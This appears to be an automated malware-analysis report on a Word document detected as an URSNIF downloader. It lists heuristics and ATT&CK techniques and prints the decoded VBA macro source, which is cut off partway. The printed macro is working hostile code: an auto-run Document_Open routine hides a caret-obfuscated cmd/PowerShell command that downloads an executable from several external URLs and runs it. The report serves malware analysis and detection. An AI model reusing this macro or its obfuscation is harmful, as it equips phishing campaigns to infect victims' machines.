MALICIOUS
182
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1566.001 Spearphishing Attachment
The sample contains VBA macros, including a Document_Open macro, which is designed to execute automatically when the document is opened. The critical heuristic firing for Shell() indicates that the macro attempts to execute an external command. The ClamAV detection as 'Doc.Downloader.URSNIF-6729855-3' strongly suggests a downloader functionality. The reconstructed strings from the VBA code likely represent commands or arguments for the Shell() function, indicating a downloader that executes a second-stage payload.
Heuristics 5
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ClamAV: Doc.Downloader.URSNIF-6729855-3 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.URSNIF-6729855-3
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VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
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Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
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Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 6037 bytes |
SHA-256: 1050ae28c71c8e06cb953a2c2a56ecc752d86c4fdbdaa30162457a5a00c90ab0 |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "OLzFVDQVooYNUH"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
On _
Error _
Resume _
Next
Second "ftpPXf" + "nW" + "1525" + "LisRbO"
Second "HjYv" + "qpnuzhMUr"
Second "528427961" + "129765028" + "412466689" + "omhw"
Second "368720983" + "zakkKFJMU" + "kvTmkUb" + "433350859"
Second "oKF" + "lcm"
Second "Ic" + "Cjl" + "Hm" + "dBSMZnKovz"
Shell KndCT + WVswzh + iWbKbwTP, CStr(vbHide)
Second "163335906" + "mL"
Second "SvbKwZQDQXt" + "DqNAovm" + "8121" + "OwIXwkDR"
Second "3319" + "398096249" + "196439849" + "C"
End Sub
Attribute VB_Name = "JHJzBfUzpkp"
Function KndCT()
On _
Error _
Resume _
Next
Second "9055" + "499963533" + "AatOXfv" + "172868664"
UEjrTp = Format(Chr(9 + 13 + 1 + 2 + 74)) + "md /V/" + Format(Chr(6 + 9 + 1 + 1 + 50)) + Format(Chr(3 + 4 + 0 + 0 + 27)) + "^" + "se" + "^t " + "J" + "^dk=" + "^ ^" + " ^ ^" + " ^ ^ ^ " + " ^ " + "^ ^ ^}^"
Second "kzXX" + "689"
Second "524211872" + "RI"
AsIDIniEIwk = "}^{" + "h" + Format(Chr(9 + 13 + 1 + 2 + 74)) + "^t^a" + Format(Chr(9 + 13 + 1 + 2 + 74)) + "^" + "};k^aer" + "b^" + ";" + "^h^tw$" + "^ m^e^t" + "^I-^e" + "k"
Second "8465" + "slpQfGI"
Second "kRMs" + "wzVWM" + "aDqN" + "172760407"
MPjloLACXv = "^ov" + "n^" + "I^;)^ht" + "w^$ ," + "J^H" + "q^$(^el" + "^iF" + "da^oln" + "^wo"
Second "PadikzPIo" + "w" + "83821022" + "89035000"
Second "mLpDSki" + "DL" + "mESw" + "vcCl"
iEbhFiQTCsH = "D^." + Format(Chr(9 + 13 + 1 + 2 + 74)) + "^dw^$" + "^{^" + "y" + "r^t^{)" + Format(Chr(6 + 9 + 1 + 1 + 50)) + "li$^ " + "ni^" + " ^JH^q" + "^$(h" + Format(Chr(9 + 13 + 1 + 2 + 74)) + "a"
Second "JFhNdG" + "v"
Second "328805307" + "nEP" + "9703" + "muiP"
Second "411440498" + "9151" + "5341" + "4363"
OzntjzOU = "^er^of;" + "'" + "ex" + "e^.^'" + "^+N^J" + "w$+^" + "'\'+" + Format(Chr(9 + 13 + 1 + 2 + 74)) + "ilb^" + "up^" + ":vne^$="
Second "sfjRSscvFP" + "sjzlWABv" + "YHROi" + "IhYWUjDb"
Second "167851122" + "421503100"
qVvwV = "h^t" + "w^" + "$^;^" + "'^" + "0^" + "9^9^'" + " " + "=^ " + "N^Jw^$"
KndCT = UEjrTp + AsIDIniEIwk + MPjloLACXv + iEbhFiQTCsH + OzntjzOU + qVvwV
Second "626" + "itELtTYQI" + "135191725" + "ODR"
Second "oPTb" + "91" + "XJXhpJH" + "nR"
Second "lO" + "306596480" + "3560" + "irju"
Second "492120113" + "uOpEkkpoMf"
End Function
Function WVswzh()
On _
Error _
Resume _
Next
Second "vcrOKnfULEFu" + "AWHrHXmhk"
Second "PVGaNzlmJwaLQw" + "ssQIc" + "156814207" + "Pz"
Second "174375226" + "4235"
Second "GbzEYSAGzQ" + "495351349" + "w" + "Pv"
Second "wjYEpd" + "idEZSZamDMDUN" + "7031" + "427434602"
WJWZG = ";)'^@'" + "(^ti" + "l^p" + "^S^.^'" + "^8Vo" + "^5M" + "a^" + "i" + "/m^o" + Format(Chr(9 + 13 + 1 + 2 + 74)) + "." + "oa"
Second "Ri" + "9919" + "uc" + "M"
Second "TXHUvoT" + "NOvLRQj" + "5138" + "XHYK"
FjCApjNcoi = "^" + "lgn^ay" + "n^" + "a^" + "itgn^i" + "j//^:" + "^" + "p" + "^t^t" + "h@^" + "M" + "^A3lA" + "Ig/o"
Second "RnEFtoWQJYqKCj" + "Ji"
Second "171709023" + "QJtF"
Second "iDsNHjzA" + "MjSzXPf"
UhfkJwb = "f" + "ni.^l^a" + "^" + "ht" + "n" + "e" + "iram//:"
Second "226395934" + "vorLnjlQtnXWcJ"
Second "6930" + "91776214"
Second "6352" + "jh"
NiprKFMw = "^p" + "tth@^x" + "/" + "^" + "gro." + Format(Chr(9 + 13 + 1 + 2 + 74)) + "d" + Format(Chr(9 + 13 + 1 + 2 + 74)) + "^-" + Format(Chr(9 + 13 + 1 + 2 + 74)) + "b" + "//:p^"
Second "330172040" + "S"
Second "4831" + "c" + "piGOFzziF" + "pEuI"
Second "397986967" + "24321295"
Second "1756" + "nCBzGTMHfn" + "phXvfJUEFQI" + "MDMlB"
Second "aK" + "KzKn" + "8131" + "212393181"
tlLVfL = "tt" + "^h^@eR" + "^wK" + "E^3" + "^3/m" + "o" + Format(Chr(9 + 13 + 1 + 2 + 74)) + "^.^i" + "ka" + "it" + "^" + "o" + "/" + "/^:pt"
Second "424" + "2313"
Second "29540560" + "1916" + "523109150" + "q"
mQpmCbr
... (truncated)
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